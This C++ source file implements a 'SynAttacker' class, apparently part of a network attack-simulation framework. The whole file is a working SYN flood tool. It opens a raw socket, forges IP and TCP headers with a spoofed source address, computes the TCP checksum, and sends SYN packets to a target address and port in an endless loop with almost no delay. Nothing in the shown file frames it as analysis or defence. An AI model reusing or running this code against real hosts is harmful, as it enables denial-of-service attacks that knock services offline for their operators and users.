#include <synAttacker.h>
#include <iostream>

namespace Model {

  SynAttacker::SynAttacker(std::map<std::string,model *> *models)
    :Attacker(models)
  {
    
  }
  
  bool SynAttacker::ProcessFunction()
  {
    std::string targetIP(static_cast<AttackTargetMessage*>((*models)["AttackTargetMessage"])->GetIP()),
      targetPort(static_cast<AttackTargetMessage*>((*models)["AttackTargetMessage"])->GetPort()),
      srcIP(static_cast<AttackerMessage*>((*models)["AttackerMessage"])->GetIP());
    //    std::cout<<"target ip:"<<targetIP<<"\ntarget port:"<<targetPort<<"\nsrc IP:"<<srcIP<<"\n";
    unsigned long srcPort(1);
    struct sockaddr_in sin;
    struct sockaddr_in din;
    struct hostent * hoste;
    struct hostent * host1;
    int sock,foo,flooddot=1,tmp=1;
    char buffer[40];
    struct ip * ipheader=(struct ip *) buffer;
    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
    struct pseudohdr pseudoheader;

    bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
    sin.sin_family=AF_INET;
    if((host1=gethostbyname(srcIP.c_str()))!=NULL)
      bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
    else if((din.sin_addr.s_addr=inet_addr(srcIP.c_str())) == (unsigned int)-1){
      std::cout<<"unknown source host "<<srcIP<<"\n";
      return -1;
    }
    if((hoste=gethostbyname(targetIP.c_str()))!=NULL)
      bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
    else if((sin.sin_addr.s_addr=inet_addr(targetIP.c_str())) == (unsigned int)-1){
      std::cout<<"unknown destination host "<<targetIP<<"\n";
      return -1;
    }
    if((sin.sin_port=htons(atoi(targetPort.c_str()))) == 0 ){
      std::cout<<"unknown port "<<targetPort<<"\n";
      return -1;
    }
    if((sock=socket(AF_INET,SOCK_RAW,255))==-1){
      fprintf(stderr,"couldn't allocate raw socket\n");
      return(-1);
    }

    foo=1;
    if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1){
      fprintf(stderr,"couldn't set raw header on socket\n");
      return(-1);
    }
    
    while(1){
      bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
      ipheader->ip_v=4;
      ipheader->ip_tos=0;
      ipheader->ip_hl=sizeof(struct ip)/4;
      ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
      ipheader->ip_id=htons(random());
      ipheader->ip_ttl=30;
      ipheader->ip_p=IPPROTO_TCP;
      ipheader->ip_sum=0;
      ipheader->ip_src=din.sin_addr;
      ipheader->ip_dst=sin.sin_addr;

      tcpheader->source=htons(srcPort);
      tcpheader->dest=sin.sin_port;
      tcpheader->seq=htonl(0x28374839);
      tcpheader->ack=0;
      tcpheader->syn=1;
      tcpheader->doff=sizeof(struct tcphdr)/4;
      tcpheader->window=htons(2048);
      tcpheader->check=0;

      bzero(&pseudoheader,12+sizeof(struct tcphdr));
      pseudoheader.srcAddr.s_addr=din.sin_addr.s_addr;
      pseudoheader.dstAddr.s_addr=sin.sin_addr.s_addr;
      pseudoheader.protocol=6;
      pseudoheader.tcpLength=htons(sizeof(struct tcphdr));
      bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
      tcpheader->check = CRCChecksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

      srcPort ++;
      srcPort/=(15000+1.0);
      if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,
		(struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1){
	fprintf(stdout,"couldn't send packet,%d\n",errno);
	perror("sendto");
	return(-1);
      }
      usleep(2);
      if(!(flooddot = (flooddot+1)%(1))){
	if(tmp ++ == 1)
	  std::cout<<"SYN attacking...\n";
	else
	  tmp%=200;
      }
      /*
      if (!(flooddot = (flooddot+1)%(1))){
	fprintf(stdout,".");
	fflush(stdout);
      }
      */
    }
    close(sock);
    return true;
  }

  u_short SynAttacker::CRCChecksum(u_short * data,u_short length)
  {
    int nleft = length;
    int sum=0;
    unsigned short *w = data;
    unsigned short value = 0;

    while (nleft > 1) {
      sum += *w++;
      nleft -= 2;
    }

    if (nleft == 1) {
      *(unsigned char *) (&value) = *(unsigned char *) w;
      sum += value;
    }
    sum = (sum >>16) + (sum & 0xffff);
    sum += (sum >> 16);
    value = ~sum;
    return(value);
  }

}
